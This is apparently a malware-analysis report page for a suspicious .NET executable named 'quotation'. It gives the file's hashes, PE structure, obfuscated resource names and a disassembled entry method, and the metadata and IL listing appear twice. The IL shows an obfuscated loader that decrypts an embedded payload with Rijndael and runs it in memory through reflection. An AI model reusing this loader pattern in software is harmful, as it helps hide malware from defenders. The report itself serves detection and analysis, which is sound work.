Suspicious
Suspect

b27cf8d811fe8871278a784fa74c4000

Share on LinkedIn Add to favorites
Re-Scan
Delete
PE Executable
MD5: b27cf8d811fe8871278a784fa74c4000
Size: 243.71 KB
application/x-dosexec
Summary by MalvaGPT
Characteristics

Symbol Obfuscation Score

Very high

Hash
 Hash Value
MD5
b27cf8d811fe8871278a784fa74c4000
Sha1
e386c587a3154e7b915d90b2d484f3d94ebed840
Sha256
9ddcd3d010e5b9062b6f68edbe33e55631a1829a15044d0eabf3e4d7e92366fb
Sha384
2e0f22c1253db4a54bd40cca42f2024ddca1d846fe29bc0dbfdbe407c962114d0f9f6af8407eb66f2486627909709bba
Sha512
a84bb22b92c3d9a37cf3acd5aa44c615a1268666864f691db0cb46aa6153582fbcb8a30376001fa5436540104324f65f4d50097b1f104ff9f3022467fbe65316
SSDeep
3072:ZbnIDTqk0bV8sUqZhqF4UB3h0ConEM2/Lxp5CO7S7JNc29ET2XmqmUdxHZdHY8Xd:ZbSeVNuFTmC62Db5CmU8EKG91ZiU
TLSH
2434220737D97DDFCC3B423A1C1E5E34EE26F91A5B66400B586722C943AEE927D14AC8

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
b27cf8d811fe8871278a784fa74c4000
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
乓乐乞乾乥下也乚両中上丙乙也乤乧为乛乬丨乑乎丰乲乹主乫乮乬乆乱丯.resources
不丳丕丿乭乮丆丹久乫乫丰乯业乤丘丨乩乊乷举义
丠丌丄丅丑乙丹乾丽並丌丆丛乚丆並丆个丹乮久且乽临义乄乐之丗丯书乏乄乖
丠乜乚严东乴乭乕乶乫乱並乌世严乶乁丹乴並丣一丅丠乫丅
丠乱乮乚丼乛乱丸丂上乂丞乧乾乓乛乢举之中两乆乷个不乼
丧丛丣乡丮丒九买乢乽丹丅乀下乂丵乹丕乗乁乻乳乪丣丳上丮丳丈乮乽举丨串乾与丠
丧丧乷乆乛丝丵乽乁丣乛丞丽丰丂丣丱九乔丕且严乫乍也丝乌三丂丆丹一乤乬丑
丧乩为乁中乾丸七丛且乏买久且乴丱乳临丱乿中丣乣丩乨乴一乺九
串乩乨乴习丌乭中三乢专义丽両乂乄乌丅乚丗下丏乏主乍丈乭乧不乀丽乂乄乥乔丼丝丶
主乴丼乍丹丈乤乍乻丟乍乲丒乹上串丽乒三乭丙丂乴乗
丽乑乽丟乔丕丞之丝个丂丷丞且习丢丞丏两乄丠乡丱乫乹丕
之丆乸丩乵丮丠丂乞丑乼丨买九乯乌不乌与丏乫乖丶
乒乙丮丂书且丽书乎久中中丧上业両严丩乃东乕乻丘串丏乼乱三乜丠丑严丿丩乌乲
九丣乛乏两也丫买义丕主乁乁乴乲丯丫七丛乚乹临乑丌丞丱书买丄乛丩乴乐丒乌
乢乘乧乳乒丵乻专个乔乫业乊乩丿乩丢丙中丧乘丞丆丟义严乑丄乘乌丆並丕
乥久九両乓乧七临个丆乇为丝乨乞之丆乺乫乶九乂乩不乽乳丼专乫
乭万丟丂丗乴乐乕丮专一丢万乊乧两丠乂乍丂丼丩书举乐丫乻主乪乛为乑丟両丵
乶为九乍乄丄丞买一乆万丛丧乔乣乛乳乽丣串乸一九丛乣丷丆个临乭乛乱乐両乜
乸举丣丛乽丅乒乴乃丒丢严乲乘丄乻丱丢乯丏一乃乑么丩丬
Informations
Name
 Value
Info

PE Detect: PeReader OK (file layout)
Module Name

romAKYj09fuyDkjCh
Full Name

romAKYj09fuyDkjCh
EntryPoint

System.Void gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::I3MIU461O6f5a2(System.String[])
Scope Name

romAKYj09fuyDkjCh
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v2.0.50727
Tables Header Version

512
WinMD Version

<null>
Assembly Name

quotation
Assembly Version

0.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

<null>
Total Strings

29
Main Method

System.Void gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::I3MIU461O6f5a2(System.String[])
Main IL Instruction Count

154
Main IL

ldc.i4.2 <null> call System.Void gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::​‎‮‪‫‪‭‎‌‮‌‪​‌‪‬‪‍​‌‎‌‎‫‎‮‫‪‪‮(System.Int32) ldc.i4.s 16 newarr System.String stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldstr 主乴丼乍丹丈乤乍乻丟乍乲丒乹上串丽乒三乭丙丂乴乗 stelem.ref <null> ldloc.s V_13 ldc.i4.1 <null> ldstr 丧丧乷乆乛丝丵乽乁丣乛丞丽丰丂丣丱九乔丕且严乫乍也丝乌三丂丆丹一乤乬丑 stelem.ref <null> ldloc.s V_13 ldc.i4.2 <null> ldstr 乭万丟丂丗乴乐乕丮专一丢万乊乧两丠乂乍丂丼丩书举乐丫乻主乪乛为乑丟両丵 stelem.ref <null> ldloc.s V_13 ldc.i4.3 <null> ldstr 丽乑乽丟乔丕丞之丝个丂丷丞且习丢丞丏两乄丠乡丱乫乹丕 stelem.ref <null> ldloc.s V_13 ldc.i4.4 <null> ldstr 乒乙丮丂书且丽书乎久中中丧上业両严丩乃东乕乻丘串丏乼乱三乜丠丑严丿丩乌乲 stelem.ref <null> ldloc.s V_13 ldc.i4.5 <null> ldstr 丧丛丣乡丮丒九买乢乽丹丅乀下乂丵乹丕乗乁乻乳乪丣丳上丮丳丈乮乽举丨串乾与丠 stelem.ref <null> ldloc.s V_13 ldc.i4.6 <null> ldstr 丧乩为乁中乾丸七丛且乏买久且乴丱乳临丱乿中丣乣丩乨乴一乺九 stelem.ref <null> ldloc.s V_13 ldc.i4.7 <null> ldstr 不丳丕丿乭乮丆丹久乫乫丰乯业乤丘丨乩乊乷举义 stelem.ref <null> ldloc.s V_13 ldc.i4.8 <null> ldstr 丠丌丄丅丑乙丹乾丽並丌丆丛乚丆並丆个丹乮久且乽临义乄乐之丗丯书乏乄乖 stelem.ref <null> ldloc.s V_13 ldc.i4.s 9 ldstr 串乩乨乴习丌乭中三乢专义丽両乂乄乌丅乚丗下丏乏主乍丈乭乧不乀丽乂乄乥乔丼丝丶 stelem.ref <null> ldloc.s V_13 ldc.i4.s 10 ldstr 乢乘乧乳乒丵乻专个乔乫业乊乩丿乩丢丙中丧乘丞丆丟义严乑丄乘乌丆並丕 stelem.ref <null> ldloc.s V_13 ldc.i4.s 11 ldstr 乸举丣丛乽丅乒乴乃丒丢严乲乘丄乻丱丢乯丏一乃乑么丩丬 stelem.ref <null> ldloc.s V_13 ldc.i4.s 12 ldstr 乶为九乍乄丄丞买一乆万丛丧乔乣乛乳乽丣串乸一九丛乣丷丆个临乭乛乱乐両乜 stelem.ref <null> ldloc.s V_13 ldc.i4.s 13 ldstr 乥久九両乓乧七临个丆乇为丝乨乞之丆乺乫乶九乂乩不乽乳丼专乫 stelem.ref <null> ldloc.s V_13 ldc.i4.s 14 ldstr 之丆乸丩乵丮丠丂乞丑乼丨买九乯乌不乌与丏乫乖丶 stelem.ref <null> ldloc.s V_13 ldc.i4.s 15 ldstr 九丣乛乏两也丫买义丕主乁乁乴乲丯丫七丛乚乹临乑丌丞丱书买丄乛丩乴乐丒乌 stelem.ref <null> ldloc.s V_13 stloc.0 <null> call System.Object gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::945jkkysWA() stloc.1 <null> ldloc.1 <null> ldstr 丠乜乚严东乴乭乕乶乫乱並乌世严乶乁丹乴並丣一丅丠乫丅 call System.Byte[] gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::0d4TDZv42wSblC3(System.Object,System.String) stloc.2 <null> ldloc.1 <null> ldstr 丠乱乮乚丼乛乱丸丂上乂丞乧乾乓乛乢举之中两乆乷个不乼 call System.Byte[] gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::0d4TDZv42wSblC3(System.Object,System.String) stloc.3 <null> newobj System.Void System.Collections.Generic.List`1<System.Byte>::.ctor() stloc.s V_5 ldc.i4.0 <null> stloc.s V_6 br.s IL_0103: ldloc.s V_6 ldloc.1 <null> ldloc.0 <null> ldloc.s V_6 ldelem.ref <null> call System.Byte[] gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::0d4TDZv42wSblC3(System.Object,System.String) stloc.s V_7 ldloc.s V_5 ldstr AddRange ldc.i4.1 <null> ldc.i4.1 <null> newarr System.Object stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldloc.s V_7 stelem.ref <null> ldloc.s V_14 call System.Object gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::‫‏‫‌‮‬‏‭‮‫‎‭‮‍‮‫‪‭‬‭​‌‎‮(System.Object,System.String,Microsoft.VisualBasic.CallType,System.Object[]) pop <null> ldloc.s V_6 ldc.i4.1 <null> add <null> stloc.s V_6 ldloc.s V_6 ldloc.0 <null> ldlen <null> conv.i4 <null> blt.s IL_00D3: ldloc.1 ldloc.s V_5 call System.Byte[] gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::0Jy8zdWL1dEDIsk6(System.Object) stloc.s V_4 call System.Security.Cryptography.RijndaelManaged gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::‮‏‪​​​​‫‪‫‭‫‌‌‏‍‬‌‬‏‬‍‪‭‍‬​‮() stloc.s V_8 ldloc.s V_8 ldloc.2 <null> call System.Void gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::dxFRyCOUdhSN09i(System.Security.Cryptography.SymmetricAlgorithm,System.Byte[]) ldloc.s V_8 ldloc.3 <null> call System.Void gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::‬‎‏‭​‍‪‌‫‪‬‫‎‮‏‌‭‌‬‭​‮‎‍​‫‌‏‏‮(System.Security.Cryptography.SymmetricAlgorithm,System.Byte[]) ldloc.s V_8 ldstr CreateDecryptor ldc.i4.1 <null> ldc.i4.0 <null> newarr System.Object call System.Object gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::‫‏‫‌‮‬‏‭‮‫‎‭‮‍‮‫‪‭‬‭​‌‎‮(System.Object,System.String,Microsoft.VisualBasic.CallType,System.Object[]) castclass System.Security.Cryptography.ICryptoTransform stloc.s V_9 ldloc.s V_9 ldloc.s V_4 call System.Byte[] gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::BxpbjiyhgG8a3RbYW(System.Security.Cryptography.ICryptoTransform,System.Byte[]) stloc.s V_4 ldloc.s V_4 call System.Reflection.Assembly gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::DyGO0fb1cRi(System.Byte[]) stloc.s V_10 ldloc.s V_10 call System.Reflection.MethodInfo gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::Dl33ceBJYf(System.Reflection.Assembly) stloc.s V_11 ldloc.s V_11 ldarg.0 <null> call System.Void gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::yE0Mb1d2DQFpG5bB(System.Reflection.MethodInfo,System.Object) leave.s IL_017C: ret stloc.s V_12 ldloc.s V_12 call System.String gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::‪‬‎‭‫‍‍‍‎‬‫‏‏‮‮‎‌‏​‎‮‪‌‍​‮‭‮(System.Exception) call System.Windows.Forms.DialogResult gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::‎‌‏‏‏‪‮‮‌‪‫​‮‎​‎‪‎‬‮‬‍​​‪‎‏‪‬‭‬‌‌‮(System.String) pop <null> leave.s IL_017C: ret ret <null>
Module Name

romAKYj09fuyDkjCh
Full Name

romAKYj09fuyDkjCh
EntryPoint

System.Void gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::I3MIU461O6f5a2(System.String[])
Scope Name

romAKYj09fuyDkjCh
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v2.0.50727
Tables Header Version

512
WinMD Version

<null>
Assembly Name

quotation
Assembly Version

0.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

<null>
Total Strings

29
Main Method

System.Void gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::I3MIU461O6f5a2(System.String[])
Main IL Instruction Count

154
Main IL

ldc.i4.2 <null> call System.Void gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::​‎‮‪‫‪‭‎‌‮‌‪​‌‪‬‪‍​‌‎‌‎‫‎‮‫‪‪‮(System.Int32) ldc.i4.s 16 newarr System.String stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldstr 主乴丼乍丹丈乤乍乻丟乍乲丒乹上串丽乒三乭丙丂乴乗 stelem.ref <null> ldloc.s V_13 ldc.i4.1 <null> ldstr 丧丧乷乆乛丝丵乽乁丣乛丞丽丰丂丣丱九乔丕且严乫乍也丝乌三丂丆丹一乤乬丑 stelem.ref <null> ldloc.s V_13 ldc.i4.2 <null> ldstr 乭万丟丂丗乴乐乕丮专一丢万乊乧两丠乂乍丂丼丩书举乐丫乻主乪乛为乑丟両丵 stelem.ref <null> ldloc.s V_13 ldc.i4.3 <null> ldstr 丽乑乽丟乔丕丞之丝个丂丷丞且习丢丞丏两乄丠乡丱乫乹丕 stelem.ref <null> ldloc.s V_13 ldc.i4.4 <null> ldstr 乒乙丮丂书且丽书乎久中中丧上业両严丩乃东乕乻丘串丏乼乱三乜丠丑严丿丩乌乲 stelem.ref <null> ldloc.s V_13 ldc.i4.5 <null> ldstr 丧丛丣乡丮丒九买乢乽丹丅乀下乂丵乹丕乗乁乻乳乪丣丳上丮丳丈乮乽举丨串乾与丠 stelem.ref <null> ldloc.s V_13 ldc.i4.6 <null> ldstr 丧乩为乁中乾丸七丛且乏买久且乴丱乳临丱乿中丣乣丩乨乴一乺九 stelem.ref <null> ldloc.s V_13 ldc.i4.7 <null> ldstr 不丳丕丿乭乮丆丹久乫乫丰乯业乤丘丨乩乊乷举义 stelem.ref <null> ldloc.s V_13 ldc.i4.8 <null> ldstr 丠丌丄丅丑乙丹乾丽並丌丆丛乚丆並丆个丹乮久且乽临义乄乐之丗丯书乏乄乖 stelem.ref <null> ldloc.s V_13 ldc.i4.s 9 ldstr 串乩乨乴习丌乭中三乢专义丽両乂乄乌丅乚丗下丏乏主乍丈乭乧不乀丽乂乄乥乔丼丝丶 stelem.ref <null> ldloc.s V_13 ldc.i4.s 10 ldstr 乢乘乧乳乒丵乻专个乔乫业乊乩丿乩丢丙中丧乘丞丆丟义严乑丄乘乌丆並丕 stelem.ref <null> ldloc.s V_13 ldc.i4.s 11 ldstr 乸举丣丛乽丅乒乴乃丒丢严乲乘丄乻丱丢乯丏一乃乑么丩丬 stelem.ref <null> ldloc.s V_13 ldc.i4.s 12 ldstr 乶为九乍乄丄丞买一乆万丛丧乔乣乛乳乽丣串乸一九丛乣丷丆个临乭乛乱乐両乜 stelem.ref <null> ldloc.s V_13 ldc.i4.s 13 ldstr 乥久九両乓乧七临个丆乇为丝乨乞之丆乺乫乶九乂乩不乽乳丼专乫 stelem.ref <null> ldloc.s V_13 ldc.i4.s 14 ldstr 之丆乸丩乵丮丠丂乞丑乼丨买九乯乌不乌与丏乫乖丶 stelem.ref <null> ldloc.s V_13 ldc.i4.s 15 ldstr 九丣乛乏两也丫买义丕主乁乁乴乲丯丫七丛乚乹临乑丌丞丱书买丄乛丩乴乐丒乌 stelem.ref <null> ldloc.s V_13 stloc.0 <null> call System.Object gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::945jkkysWA() stloc.1 <null> ldloc.1 <null> ldstr 丠乜乚严东乴乭乕乶乫乱並乌世严乶乁丹乴並丣一丅丠乫丅 call System.Byte[] gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::0d4TDZv42wSblC3(System.Object,System.String) stloc.2 <null> ldloc.1 <null> ldstr 丠乱乮乚丼乛乱丸丂上乂丞乧乾乓乛乢举之中两乆乷个不乼 call System.Byte[] gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::0d4TDZv42wSblC3(System.Object,System.String) stloc.3 <null> newobj System.Void System.Collections.Generic.List`1<System.Byte>::.ctor() stloc.s V_5 ldc.i4.0 <null> stloc.s V_6 br.s IL_0103: ldloc.s V_6 ldloc.1 <null> ldloc.0 <null> ldloc.s V_6 ldelem.ref <null> call System.Byte[] gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::0d4TDZv42wSblC3(System.Object,System.String) stloc.s V_7 ldloc.s V_5 ldstr AddRange ldc.i4.1 <null> ldc.i4.1 <null> newarr System.Object stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldloc.s V_7 stelem.ref <null> ldloc.s V_14 call System.Object gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::‫‏‫‌‮‬‏‭‮‫‎‭‮‍‮‫‪‭‬‭​‌‎‮(System.Object,System.String,Microsoft.VisualBasic.CallType,System.Object[]) pop <null> ldloc.s V_6 ldc.i4.1 <null> add <null> stloc.s V_6 ldloc.s V_6 ldloc.0 <null> ldlen <null> conv.i4 <null> blt.s IL_00D3: ldloc.1 ldloc.s V_5 call System.Byte[] gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::0Jy8zdWL1dEDIsk6(System.Object) stloc.s V_4 call System.Security.Cryptography.RijndaelManaged gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::‮‏‪​​​​‫‪‫‭‫‌‌‏‍‬‌‬‏‬‍‪‭‍‬​‮() stloc.s V_8 ldloc.s V_8 ldloc.2 <null> call System.Void gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::dxFRyCOUdhSN09i(System.Security.Cryptography.SymmetricAlgorithm,System.Byte[]) ldloc.s V_8 ldloc.3 <null> call System.Void gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::‬‎‏‭​‍‪‌‫‪‬‫‎‮‏‌‭‌‬‭​‮‎‍​‫‌‏‏‮(System.Security.Cryptography.SymmetricAlgorithm,System.Byte[]) ldloc.s V_8 ldstr CreateDecryptor ldc.i4.1 <null> ldc.i4.0 <null> newarr System.Object call System.Object gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::‫‏‫‌‮‬‏‭‮‫‎‭‮‍‮‫‪‭‬‭​‌‎‮(System.Object,System.String,Microsoft.VisualBasic.CallType,System.Object[]) castclass System.Security.Cryptography.ICryptoTransform stloc.s V_9 ldloc.s V_9 ldloc.s V_4 call System.Byte[] gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::BxpbjiyhgG8a3RbYW(System.Security.Cryptography.ICryptoTransform,System.Byte[]) stloc.s V_4 ldloc.s V_4 call System.Reflection.Assembly gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::DyGO0fb1cRi(System.Byte[]) stloc.s V_10 ldloc.s V_10 call System.Reflection.MethodInfo gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::Dl33ceBJYf(System.Reflection.Assembly) stloc.s V_11 ldloc.s V_11 ldarg.0 <null> call System.Void gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::yE0Mb1d2DQFpG5bB(System.Reflection.MethodInfo,System.Object) leave.s IL_017C: ret stloc.s V_12 ldloc.s V_12 call System.String gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::‪‬‎‭‫‍‍‍‎‬‫‏‏‮‮‎‌‏​‎‮‪‌‍​‮‭‮(System.Exception) call System.Windows.Forms.DialogResult gMJCvIQaXxB.Ft9GIjzc22Cm7mJd::‎‌‏‏‏‪‮‮‌‪‫​‮‎​‎‪‎‬‮‬‍​​‪‎‏‪‬‭‬‌‌‮(System.String) pop <null> leave.s IL_017C: ret ret <null>
b27cf8d811fe8871278a784fa74c4000 (243.71 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙